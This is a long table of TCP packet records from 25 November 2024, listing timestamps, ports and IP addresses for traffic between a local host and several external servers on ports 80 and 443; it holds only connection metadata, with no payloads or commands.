Nov 25, 2024 05:46:24.678514004 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.679111958 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.679306984 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.679372072 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.679409981 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.679537058 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.680200100 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.680314064 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.680339098 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.680377960 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.681109905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.681216955 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.681231022 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.681317091 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.681817055 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.681950092 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.682028055 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.682123899 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.682154894 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.682213068 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.682326078 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.682337046 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.682528019 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.682533979 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.682910919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.682985067 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.683126926 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.683815956 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.683923006 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.684003115 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.684719086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.684791088 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.684823036 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.685000896 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.685607910 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.685695887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.685723066 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.685775042 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.686511040 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.686594009 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.686614990 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.686825991 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.687413931 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.687477112 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.687522888 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.687576056 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.688347101 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.688404083 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.688442945 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.688548088 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.689217091 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.689296961 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.689330101 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.689399004 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.690110922 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.690227985 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.690247059 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.690275908 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.691030025 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.691164017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.691282034 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.691894054 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.691987038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.692121983 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.692352057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.692833900 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.692903996 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.693052053 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.693125010 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.693721056 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.693810940 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.693902016 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.733696938 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.733717918 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.733733892 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.733829021 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.733870029 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.733939886 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.774822950 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.774904013 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.774964094 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.775110960 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.775294065 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.775358915 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.775396109 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.775471926 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.776201963 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.776257038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.776304007 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.776408911 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.777096033 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.777164936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.777210951 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.777272940 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.777993917 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.778059006 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.778110027 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.778275967 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.778911114 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.779006958 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.779037952 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.779089928 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.779805899 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.779900074 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.779937029 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.780004978 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.780705929 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.780778885 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.780817032 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.780869007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.781594992 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.781721115 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.781738997 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.781840086 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.782505035 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.782553911 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.782740116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.782866955 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.783402920 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.783473969 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.783497095 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.783539057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.784359932 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.784431934 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.784523964 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.784635067 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.785219908 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.785269022 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.785332918 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.785432100 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.786111116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.786216974 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.786226988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.786271095 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.787022114 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.787077904 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.787153959 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.787353992 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.787908077 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.788007021 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.788045883 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.788172960 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.823935032 CET	443	49745	2.16.158.89	192.168.2.6
Nov 25, 2024 05:46:24.824009895 CET	49745	443	192.168.2.6	2.16.158.89
Nov 25, 2024 05:46:24.827029943 CET	49745	443	192.168.2.6	2.16.158.89
Nov 25, 2024 05:46:24.827037096 CET	443	49745	2.16.158.89	192.168.2.6
Nov 25, 2024 05:46:24.827344894 CET	49745	443	192.168.2.6	2.16.158.89
Nov 25, 2024 05:46:24.827352047 CET	443	49745	2.16.158.89	192.168.2.6
Nov 25, 2024 05:46:24.827451944 CET	443	49745	2.16.158.89	192.168.2.6
Nov 25, 2024 05:46:24.827605963 CET	49745	443	192.168.2.6	2.16.158.89
Nov 25, 2024 05:46:24.890949011 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.891019106 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.891086102 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.891408920 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.891426086 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.891477108 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.891483068 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.895979881 CET	49746	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.896017075 CET	443	49746	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.896289110 CET	49746	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.897665977 CET	49746	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.897680044 CET	443	49746	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.920749903 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.920775890 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.920870066 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.920888901 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.922382116 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.925879002 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.925950050 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.926156998 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.926387072 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.926387072 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.926403046 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.926412106 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.930164099 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.930263996 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.930424929 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.930809021 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.930845022 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.960166931 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.960331917 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.960403919 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.960506916 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.960506916 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.960524082 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.960534096 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.963504076 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.963529110 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.963733912 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.964111090 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.964123964 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.969026089 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.969044924 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.969131947 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.969171047 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.969199896 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.969449043 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.075150013 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.075161934 CET	443	49740	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.075208902 CET	443	49740	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.075237989 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.075300932 CET	49740	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.075347900 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.075490952 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.075526953 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.075553894 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.075583935 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.075617075 CET	49740	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.075629950 CET	443	49740	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.078238964 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.078258038 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.078387022 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.078417063 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.078423023 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.078535080 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.078550100 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.078574896 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.078723907 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:25.078736067 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:25.088566065 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.088603020 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.088648081 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.088685989 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.088720083 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.089237928 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.119060040 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.119080067 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.119139910 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.119151115 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.119187117 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.141199112 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.141216040 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.141278982 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.141303062 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.142469883 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.152621984 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.152682066 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.152693033 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.152713060 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.152730942 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.152740002 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.152769089 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.152774096 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.152813911 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.152842045 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.162034035 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.162050962 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.162101030 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.162113905 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.162139893 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.162159920 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.166686058 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.166716099 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.166733980 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.166779995 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.166798115 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.166830063 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.166838884 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.178478956 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.178503990 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.178518057 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.178534031 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.178560972 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.178585052 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.178623915 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.276381969 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.276423931 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.276482105 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.276499033 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.276529074 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.276540041 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.290270090 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.290290117 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.290335894 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.290355921 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.290380955 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.290400982 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.304977894 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.305037022 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.305094957 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.305111885 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.305156946 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.305177927 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.319716930 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.319739103 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.319819927 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.319835901 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.320081949 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.332509995 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.332540035 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.332593918 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.332608938 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.332649946 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.332668066 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.345725060 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.345778942 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.345828056 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.345839024 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.345885992 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.345907927 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.348156929 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.348179102 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.348247051 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.348257065 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.348301888 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.348316908 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.356681108 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.356708050 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.356750011 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.356759071 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.356800079 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.356815100 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.383603096 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.383615971 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.383642912 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.383687973 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.383712053 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.383739948 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.383754969 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.388187885 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.388248920 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.388284922 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.388293028 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.388345957 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.401206970 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.401227951 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.401320934 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.401335001 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.401377916 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.425770044 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.425789118 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.425837994 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.425847054 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.425890923 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.425900936 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.469144106 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.469168901 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.469202042 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.469217062 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.469240904 CET	49736	443	192.168.2.6	150.171.27.10
